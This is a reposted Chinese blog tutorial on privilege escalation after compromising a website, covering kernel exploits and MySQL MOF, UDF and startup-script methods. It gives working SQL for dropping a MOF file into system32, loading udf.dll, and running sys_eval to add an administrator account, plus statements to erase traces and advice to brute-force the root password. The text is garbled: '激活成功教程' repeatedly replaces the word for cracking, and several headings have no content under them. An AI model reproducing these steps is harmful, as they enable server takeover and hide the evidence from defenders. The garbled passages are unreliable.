大家好,又见面了,我是你们的朋友全栈君。
提权概述:
提权,顾名思义就是提升权限,当我们 getshell ⼀个⽹站之后,⼤部分情况下我们的权限是⾮常低的,这时就需要利⽤提权,让原本的低权限(如只允许列⽬录)→ ⾼权限(拥有修改⽂件的能⼒),权限提升后,对接下来的渗透有很⼤帮助
提权的方式:
Windows系统提权
查找补丁对应的漏洞号
查找对应的提权EXP
windows中提权exp的格式为
Linux系统提权
信息收集 — 内核版本 — 漏洞 — 公开的exp
MySQL提权必要条件:获取MySQL数据库最⾼权限root的账号密码
获取⽅法:
1.查看数据库配置⽂件 关键字:config conn data sql inc database 等 2.下载mysql安装路径下的数据⽂件并激活成功教程 安装路径下的 data ⽬录中存放的是数据库的数据信息(表名,列名,内容) root账号密码存储在mysql数据下的user表中 完整路径=安装路径+data+mysql+user.myd 3.进⾏暴⼒激活成功教程 Hydra、X-scan等
MOF提权原理:
利⽤条件:
提权⽅法:
select load_file('上传的mof⽂件路径') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof'
mof⽂件的内容:
MOF提权过程详解
1.上传mof脚本⽂件到可读写⽬录下
2.执⾏MySQL语句,将mof⽂件到出到指定的位置:c:/windows/system32/wbem/mof/nullevt.mof
3.查看命令是否执⾏成功 4.同样的⽅法修改mof⽂件再重复上次的步骤,可以将⽤户添加到管理员组
原理:
利⽤条件:
1.Windows 2000、XP、2003、2008 2.MySQL数据库版本 3.账号具有对MySQL的插⼊和删除权限 4.可以将udf.dll写⼊到相应⽬录的权限
UDF提权过程详解
1.收集必要信息
2.MySQL版本⾼于5.1,创建导出⽂件夹
select 'xxx' into dumpfile 'MySQL⽬录\\lib::$INDEX_ALLOCATION’;
select 'xxx' into dumpfile 'MySQL⽬录\\lib\\plugin::$INDEX_ALLOCATION';
3.导⼊ udf.dll ⽂件
DLL⽂件的获取⽅法: github ==== 现成; linux、windows、64、32【mysql的数据库位数】 将 dll ⽂件上传到mysql的/lib/plugin⽬录下:
4.创建⾃定义函数
5.执⾏语句
select sys_eval("net user lmz 123.com /add")
select sys_eval("net localgroup administrators lmz /add")
6.清除痕迹
drop function sys_eval;
delete from mysql.func where name="sys_eval";
注意:linux下udf提权⽅法⼀致,只不过导⼊dll⽂件的位置不太⼀ 样:如::::/usr/lib64/mysql/plugin/,其余过程⼀致
原理:
将⼀段 VBS脚本导⼊到开机启动项中,如果管理员重启了服务器,那么就会⾃动调⽤该脚本,并执⾏其中的⽤户添加及提权命令
利⽤条件:
提权⽅式:
⽅法⼀:将VBS提权脚本上传到启动项⽬录下
条件:
VBS提权脚本代码:
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/164612.html原文链接:https://javaforall.cn